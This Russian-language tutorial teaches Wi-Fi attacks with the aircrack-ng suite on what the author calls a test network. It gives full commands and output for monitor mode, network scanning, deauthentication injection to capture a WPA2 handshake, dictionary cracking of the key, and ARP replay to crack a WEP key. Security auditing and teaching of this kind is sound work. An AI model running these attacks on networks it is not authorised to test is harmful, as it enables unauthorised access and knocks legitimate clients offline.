Команда airodump-ng позволяет задействовать одноименную утилиту для прослушивания и захвата Wi-Fi трафика. По сути, она обрабатывает все принимаемые адаптером пакеты данных беспроводных сетей, выводит информацию о параметрах этих сетей и может сохранять на диск данные, необходимые для подбора ключей к этим сетям. Для корректной работы утилиты необходим Wi-Fi адаптер с поддержкой режима мониторинга (Monitor mode). Активация режима мониторинга может быть осуществлена с помощью сценария командной оболочки airmon-ng, поставляемого в комплекте с рассматриваемой утилитой в рамках пакета утилит aircrack-ng для аудита безопасности беспроводных сетей. Не стоит забывать о том, что для работы с аппаратным обеспечением ПК необходимы права суперпользователя.
Базовый синтаксис команды выглядит следующим образом:
# airodump-ng [параметры] имя-интерфейса
Команда может вызываться без параметров, но передача имени сетевого интерфейса, соответствующего Wi-Fi адаптеру, является необходимым условием. В случае отсутствия параметров утилита выведет список сетей, данные из которых способен захватить беспроводной адаптер. Среди важных параметров следует выделить параметр -w, позволяющий задать префикс для создаваемых файлов с данными для подбора ключей, параметр -f, позволяющий задать время перехода между беспроводными каналами, параметры --manufacturer, --uptime и --wps для вывода информации о производителе оборудования беспроводной сети, времени его работы и наличия поддержки технологии wps соответственно, параметры --encrypt, --bssid, --essid, --essid-regex для отображения сетей с указанными технологией шифрования, MAC-адресом, именем и шаблоном имени соответственно, параметры --ht20, --ht40-, --ht40+ для использования режимов работы HT20, HT40- и HT40+ соответственно, а также параметры --channel и --band для указания конкретных каналов и диапазонов для сканирования. Существует и ряд других параметров, которые могут использоваться опытными пользователями утилиты.
Вывод утилиты представлен в формате таблицы. В поле BSSID выводится MAC-адрес точки доступа, в поле PWR — уровень сигнала в dB, в поле Beacons — количество принятых «маячков», в поле #Data — количество принятых пакетов данных (#/s — количество пакетов в секунду), в поле CH — номер канала беспроводной сети, в поле MB — максимальная скорость передачи данных для установленного режима работы точки доступа, в поле ENC — технология защиты передаваемых данных, в поле CIPHER — используемый алгоритм шифрования, в поле AUTH — используемый механизм аутентификации, а в поле ESSID — имя сети.
Заголовок таблицы состоит из четырех полей. В первом поле выводится номер сканируемого в данный момент канала, во втором — прошедшее время с начала сканирования, в третьем — текущее время, в четвертом — сообщения о захвате важных данных.
Под таблицей размещается список MAC-адресов обнаруженных беспроводных клиентов с MAC-адресами точек доступа, к которым они подключены.
В первую очередь вам придется установить пакет утилит aircrack-ng; проще всего это сделать с помощью терминала путем исполнения соответствующей вашему дистрибутиву команды.
Команды для Linux Mint и Ubuntu:
# apt install aircrack-ng
Команда для Fedora Workstation:
# dnf install aircrack-ng
Перед сканированием беспроводных сетей необходимо перевести Wi-Fi адаптер в режим мониторинга с помощью сценария airmon-ng:
# airmon-ng start wlx003676021e61
Found 4 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
915 avahi-daemon
918 NetworkManager
970 wpa_supplicant
974 avahi-daemon
PHY Interface Driver Chipset
phy3 wlx003676021e61 mt7601u Ralink Technology, Corp. MT7601U
(monitor mode enabled)
Адаптер переведен в режим мониторинга. Теперь можно начать сканирование беспроводных сетей, вызвав утилиту airodump-ng без параметров, но передав ей имя сетевого интерфейса, соответствующего Wi-Fi адаптеру:
# airodump-ng wlx003676021e61
CH 5 ][ Elapsed: 3 mins ][ 2023-05-24 17:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:27:22:34:56:09 -14 124 9 0 3 130 WPA2 CCMP PSK cheries
00:90:4C:C1:00:00 -35 147 26 0 1 54e. WPA2 CCMP PSK testnetwork
98:48:27:EE:03:4F -62 130 0 0 8 130 WPA2 CCMP PSK TP-LINK_BB730F
BSSID STATION PWR Rate Lost Frames Notes Probes
(not associated) 00:0C:E7:1C:62:46 -54 0 - 1 0 1
00:90:4C:C1:00:00 CC:73:14:06:34:20 -42 0 - 1 0 48
Quitting...
Обнаружено три точки доступа. Мы будем работать с специально созданной сетью под названием testnetwork. Из вывода также ясно, то к этой сети подключен клиент.
Для получения дополнительной информации следует передать утилите параметры --wps, --manufacturer и --uptime:
# airodump-ng --wps --manufacturer --uptime wlx003676021e61
CH 7 ][ Elapsed: 30 s ][ 2023-05-24 17:54
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH UPTIME WPS ESSI MANUFACTURER
00:27:22:34:56:09 -18 21 0 0 3 130 WPA2 CCMP PSK 22d 00:45:37 0.0 cheries Ubiquiti Networks Inc.
00:90:4C:C1:00:00 -35 23 2 0 1 54e. WPA2 CCMP PSK 0d 00:08:00 1.0 testnetwork Epigram, Inc.
98:48:27:EE:03:4F -61 22 0 0 8 130 WPA2 CCMP PSK 1d 00:32:56 1.0 TP-LINK_BB730F TP-LINK TECHNOLOGIES CO.,LTD.
BSSID STATION PWR Rate Lost Frames Notes Probes
Quitting...
В выводе появились следующие столбцы: UPTIME с временем работы точки доступа, WPS с используемой версией технологии WPS и MANUFACTURER с названием компании-производителя точки доступа.
Если вас интересует один канал, вы можете использовать параметр -c:
# airodump-ng -c 1 wlx003676021e61
CH 1 ][ Elapsed: 0 s ][ 2023-05-24 17:54
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:90:4C:C1:00:00 -34 100 37 4 0 1 54e. WPA2 CCMP PSK testnetwork
BSSID STATION PWR Rate Lost Frames Notes Probes
Quitting...
В этом случае утилита не будет переключаться по каналам. Аналогичным образом можно указать MAC-адрес интересующей точки доступа.
# airodump-ng --bssid 00:90:4C:C1:00:00 wlx003676021e61
CH 7 ][ Elapsed: 0 s ][ 2023-05-24 17:56
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:90:4C:C1:00:00 -35 7 2 0 1 54e. WPA2 CCMP PSK testnetwork
BSSID STATION PWR Rate Lost Frames Notes Probes
Quitting...
Вывод аналогичен, за исключением того, что в данном случае утилита сканирует все каналы диапазона.
В случае сети с современной технологией защиты WPA/WPA2 нужно захватить данные рукопожатия, передаваемые в процессе подключения клиента к точке доступа. Для захвата этих данных достаточно указать префикс для записываемых на диск файлов с помощью параметра -w. Мы укажем в качестве префикса полный путь к директории для таких файлов. Кроме того, необходимо указать MAC-адрес интересующей нас точки доступа с помощью параметра --bssid и канал, на котором работает точка доступа, с помощью параметра -c.
# airodump-ng -c 1 --bssid 00:90:4C:C1:00:00 -w /home/alex/wlan/testnetwork wlx003676021e61
CH 1 ][ Elapsed: 2 mins ][ 2023-05-25 00:28 ][ WPA handshake: 00:90:4C:C1:00:00
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:90:4C:C1:00:00 -49 100 1588 372 12 1 54e. WPA2 TKIP PSK testnetwork
BSSID STATION PWR Rate Lost Frames Notes Probes
00:90:4C:C1:00:00 CC:73:14:06:34:20 -34 54e- 1 106 28008 EAPOL
Quitting...
К точке доступа подключен клиент, что в данном случае является необходимым условием. Для того, чтобы захватить интересующие нас данные, необходимо спровоцировать повторное установление соединения клиента с точкой доступа, воспользовавшись утилитой aireplay-ng в отдельном от airodump-ng окне терминала. Данная утилита позволяет генерировать подставной запрос на деаутентификацию от клиента при использовании следующим образом:
# aireplay-ng --deauth 0 -a MAC-адрес-точки-доступа -c MAC-адрес-клиента имя-интерфейса
В нашем случае команда будет выглядеть следующим образом:
# aireplay-ng --deauth 0 -a 00:90:4C:C1:00:00 -c CC:73:14:06:34:20 wlx003676021e61
00:25:52 Waiting for beacon frame (BSSID: 00:90:4C:C1:00:00) on channel 1
00:25:52 Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 0|63 ACKs]
00:25:53 Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 2|64 ACKs]
00:25:53 Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [19|63 ACKs]
00:25:54 Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 0|63 ACKs]
00:25:54 Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 0|64 ACKs]
00:25:55 Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 4|66 ACKs]
00:25:55 Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 0|64 ACKs]
00:25:56 Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 0|64 ACKs]
00:25:57 Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 0|64 ACKs]
00:25:57 Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 0|64 ACKs]
^C
Не стоит усердствовать с отправкой запросов. После отправки их ограниченного количества следует завершить работу утилиты aireplay-ng и убедиться в том, что данные рукопожатия захвачены. Об этом говорит сообщение WPA handshake: 00:90:4C:C1:00:00 в заголовке таблицы, выводимой утилитой airodump-ng. Необходимые данные будут сохранены в файле в заданной директории и с заданным префиксом; это несложно проверить:
$ ls /home/alex/wlan/
testnetwork-01.cap testnetwork-01.csv testnetwork-01.kismet.csv testnetwork-01.kismet.netxml testnetwork-01.log.csv
Для подбора пароля понадобится лишь файл с расширением .cap, словарь с возможными паролями и утилита aircrack-ng. Разумеется, подбор займет много времени, а если пароля не окажется в словаре, еще и не закончится ничем продуктивным. Тем не менее, я точно знаю, что пароль, установленный на тестовой точке доступа, достаточно простой и точно имеется в стандартном словаре Kali Linux. Этот словарь бесплатен и доступен по данной ссылке.
Подробнее об упомянутой утилите для подбора паролей будет сказано в следующей статье, сейчас же просто попробуем передать ей полученный файл.
$ aircrack-ng /home/alex/wlan/testnetwork-01.cap -w /home/alex/rockyou.txt
Aircrack-ng 1.6
[01:28:34] 13068666/14344391 keys tested (2498.14 k/s)
Time left: 8 minutes, 30 seconds 91.11%
KEY FOUND! [ 1A2B3C4D5E ]
Master Key : 8C 5D CF 61 CB 4D FE E1 51 A8 8F 6D 9E 01 31 59
9D E5 46 8B AC EC 14 E2 BC C6 4E 86 DF 1C 2B 12
Transient Key : 91 F7 8C EB 3F 8B EA A1 3F 89 B3 24 58 EF 84 F5
C3 DE E1 ED 51 43 F2 77 90 56 DA FC 10 32 F1 04
06 EF E8 49 9B A2 3F 89 51 67 7D 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EAPOL HMAC : ED 9C E3 65 AC F4 1C 30 5A A0 5F 11 02 8A 85 26
На подбор ключа ушло почти полтора часа при учете того, что ключ был крайне простым.
В случае сети с устаревшей технологией защиты WEP все с одной стороны проще, с другой — сложнее. Простота заключается в том, что для гарантированного подбора пароля нужно захватить как можно больше служебных данных (векторов инициализации), передаваемых между клиентом и точкой доступа, сложность — в том, что сегодня найти сети с подобной технологией защиты практически невозможно. Захват этих служебных данных происходит точно так же, как и в случае с WPA/WPA2 — достаточно указать префикс для записываемых на диск файлов с помощью параметра -w. Мы укажем в качестве префикса полный путь к использованной ранее директории для этих файлов. Кроме того, также необходимо указать MAC-адрес интересующей нас точки доступа с помощью параметра --bssid и канал, на котором работает точка доступа, с помощью параметра -c.
# airodump-ng -c 1 --bssid 00:90:4C:C1:00:00 -w /home/alex/wlan/testnetwork wlx003676021e61
CH 1 ][ Elapsed: 3 mins ][ 2023-05-25 00:16
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:90:4C:C1:00:00 -40 100 1291 36686 1 1 54e. WEP WEP testnetwork
BSSID STATION PWR Rate Lost Frames Notes Probes
00:90:4C:C1:00:00 CC:73:14:06:34:20 -42 11e- 1 965 78522
Quitting...
К точке доступа подключен клиент — это нам и нужно (в отличие от ситуации с WPA/WPA2, подбор ключа может быть осуществлен и без подключенных клиентов, но процедура значительно усложнится). Для того, чтобы захватить интересующие нас данные, необходимо сгенерировать поток служебного трафика, воспользовавшись утилитой aireplay-ng в отдельном от airodump-ng окне терминала. Данная утилита позволяет генерировать подставной служебный трафик от клиента при использовании следующим образом:
# aireplay-ng -3 -b MAC-адрес-точки-доступа -h MAC-адрес-клиента имя-интерфейса
В нашем случае команда будет выглядеть следующим образом:
# aireplay-ng -3 -b 00:90:4C:C1:00:00 -h CC:73:14:06:34:20 wlx003676021e61
The interface MAC (00:36:76:02:1E:61) doesn't match the specified MAC (-h).
ifconfig wlx003676021e61 hw ether CC:73:14:06:34:20
00:12:57 Waiting for beacon frame (BSSID: 00:90:4C:C1:00:00) on channel 1
Saving ARP requests in replay_arp-0525-001257.cap
You should also start airodump-ng to capture replies.
Read 146152 packets (got 66233 ARP requests and 47765 ACKs), sent 51890 packets...(499 pps)
^C
Нужно отправить примерно 50000 специальных пакетов; в нашем случае было оправлено 51890 пакетов. Захваченные файлы будут сохранены в уже знакомой директории — это несложно проверить:
$ ls /home/alex/wlan/
testnetwork-01.cap testnetwork-01.log.csv testnetwork-02.kismet.netxml
testnetwork-01.csv testnetwork-02.cap testnetwork-02.log.csv
testnetwork-01.kismet.csv testnetwork-02.csv
testnetwork-01.kismet.netxml testnetwork-02.kismet.csv
Для подбора пароля также понадобится лишь файл с расширением .cap и утилита aircrack-ng — словаря с паролями не нужно, ведь в случае наличия достаточного объема данных ключ будет подобран в любом случае. Подбор должен занять не так много времени, как в случае с WPA/WPA2. Попробуем передать утилите полученный файл.
$ aircrack-ng /home/alex/wlan/testnetwork-02.cap
Aircrack-ng 1.6
[00:00:00] Tested 857 keys (got 36518 IVs)
KB depth byte(vote)
0 3/ 8 F0(43776) 17(42752) 3A(42752) 7A(42752) 61(42496) 8C(41984)
1 1/ 3 01(45056) 18(44288) BD(43776) 11(43264) 23(43264) 31(43264)
2 7/ 2 6A(42752) 77(42496) D9(42496) 00(42240) 1C(41728) C2(41728)
3 28/ 3 D9(40192) 0F(39936) 46(39936) 68(39936) AA(39936) B4(39936)
4 0/ 1 DE(52736) 2A(46080) 67(45568) D9(44032) 70(43776) 95(43776)
KEY FOUND! [ 74:65:73:74:70:61:73:73:77:6F:72:64:21 ] (ASCII: testpassword! )
Decrypted correctly: 100%
Ключ был подобран за несколько секунд. Единственной проблемой в данном случае мог стать недостаточный объем захваченных данных.